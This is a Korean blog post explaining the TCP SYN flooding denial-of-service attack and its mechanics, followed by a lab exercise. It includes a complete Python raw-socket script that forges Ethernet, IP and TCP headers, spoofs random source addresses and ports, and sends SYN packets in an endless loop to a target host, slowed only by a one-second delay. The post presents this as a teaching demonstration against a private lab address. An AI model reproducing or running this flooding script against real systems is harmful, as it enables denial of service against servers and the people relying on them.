본문 바로가기
프로그래밍/NETWORK HACKING

[네트워크 보안] TCP SYN Flooding

by B T Y 2017. 7. 15.
반응형

TCP SYN Flooding에 대해서 정리한다.



* SYN Flooding


  - TCP 통신에서 세션 연결을 위해 서버에게 SYN 패킷을 보내면 서버는 SYN + ACK로 응답을 하면서 SYN_RECV 상태가 되고 클라이언트에게 응답(ACK)을 받기 전까지는 그 상태를 일정 시간동안 유지하고 있게 되는데 그점을 이용해서 여러 아이피 혹은 포트로 변경해 가면서 출발지 정보를 바꿔 다수의 SYN 패킷을 서버로 보내 여러개의 세션을 생성 시켜 다수의 SYN_RECV 상태를 만들어 해당 리소스를 다 소모시켜 다른 사용자가 TCP 통신을 하지 못하도록 하는 공격


  - 예전에는 DOS 공격만으로도 SYN Flooding이 가능했지만 패치가 되어서 요즘에는 DDOS 공격을 이용한 공격이 아니라면 하나의 호스트만으로는 힘들다.


  - 리눅스 같은 경우 Raw Socket을 이용해서 SYN 패킷을 보내면 방어 기법으로 클라이언트 측에서 

자동으로 RST을 서버에 보내 SYN_RECV 상태를 초기화 시킨다.  ( SYN Flooding 방지 )


  * 하지만 리눅스 방어기법으로 RST 패킷을 보낸다해도 잠깐동안의 SYN_RECV 상태는 유지되기 때문에 다수의 PC에서 계속해서 SYN 패킷을 RST보다 빠르게 계속 보내준다면 SYN Flooding 공격이 가능할 수 있다.


  * TCP SYN Flooding 공격은 TCP 통신 방식을 이해하고 있어야 할 수있는 공격 방법이다.




 - TCP SYN Flooding 공격이 가능하다는걸 이해하기 위한 실습



  * SYN Flooding을 이용해서 서비스를 방해하는게 아닌 공격이 가능하다는걸 이해하는 실습이기 때문에 

     time 모듈을 이용해서 1초씩 딜레이를 주면서 SYN 패킷을 보내도록 했다.


  * 하나의 호스트에서 똑같은 포트로 계속 SYN 패킷을 보내봤자 의미가 없기 때문에 random 모듈을 

     이용해서 아이피나 포트를 랜덤 생성해서 보내준다.


  * SYN Flooding을 실행하고 netstat 명령어를 이용해서 옵션 -ant로 해당 서버쪽에서 확인을 해보면 

     다수의 아이피와 포트로 SYN_RECV 상태가 되있는걸 확인 할수 있다.


  * 이 실습을 통해서 보면 DOS나 DDOS 공격들은 특별한 기술을 사용하진 않지만 확실한 공격 기법이라는걸 

     느낄수 있다.

      ( 호스트 기반의 방화벽이 있다고 해도 해당 패킷이 호스트에 닿기만 해도 해당 종류의 공격들은 

       성공적이라고 볼수 있다. 그렇기 때문에 네트워크 방화벽이 필요하지만 SYN Flooding 같은 경우에는 

       어떤게 공격 패킷이고 정상 패킷인지 구분하기 어렵다 )


syn.py



import struct

import socket

import random

import time

from header.eth import *

from header.ip import *

from header.tcp import *


def make_chksum( header ):


  size = len( header )

  if size % 2:

    header = header + b'\x00'

    size = len( header )


  size = size // 2

  header = struct.unpack('!' + str(size) + 'H', header )

  chksum = sum( header )


  carry = chksum & 0xFF0000

  carry = carry >> 16

  while carry != 0:

    chksum = chksum & 0xFFFF

    chksum = chksum + carry

    carry = chksum & 0xFF0000

    carry = carry >> 16


  chksum = chksum ^ 0xFFFF

  return chksum


while True:


  eth = Eth()

  ip = Ip()

  tcp = Tcp()


  port = random.randrange( 10000, 65535 )


  tcp.src = port

  tcp.dst = 23190

  tcp.seq = 33333

  tcp.ack = 0

  tcp.length = 20

  tcp.flag = 2

  tcp.window_size = 0

  tcp.chksum = 0

  tcp.point_or_dummy = 0


  ip1 = random.randrange( 1, 255 )

  ip2 = random.randrange( 1, 255 )

  ip3 = random.randrange( 1, 255 )

  ip4 = random.randrange( 1, 255 )


  ip.ver = 4

  ip.length = 20

  ip.service = 0

  ip.total = 20 + len( tcp.header )

  ip.id = 0x1234

  ip.flag = 0

  ip.offset = 0

  ip.ttl = 64

  ip.type = 6

  ip.chksum = 0

  ip.src = str(ip1) + '.' + str(ip2) + '.' + str(ip3) + '.' + str(ip4)

  ip.dst = '192.168.6.197'

  ip.chksum = make_chksum( ip.header )


  length = struct.pack('!H', tcp.length)


  pseudo = ip._src + ip._dst + b'\x00' + ip._type + length + tcp.header

  tcp.chksum = make_chksum( pseudo )


  eth.dst = '00:0c:29:3d:69:45'

  eth.src = '00:50:56:3b:25:f8'

  eth.type = 0x0800



  sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW )

  sock.bind( ('eth0', socket.SOCK_RAW) )


  sock.send( eth.header + ip.header + tcp.header )


  time.sleep(1)





반응형

댓글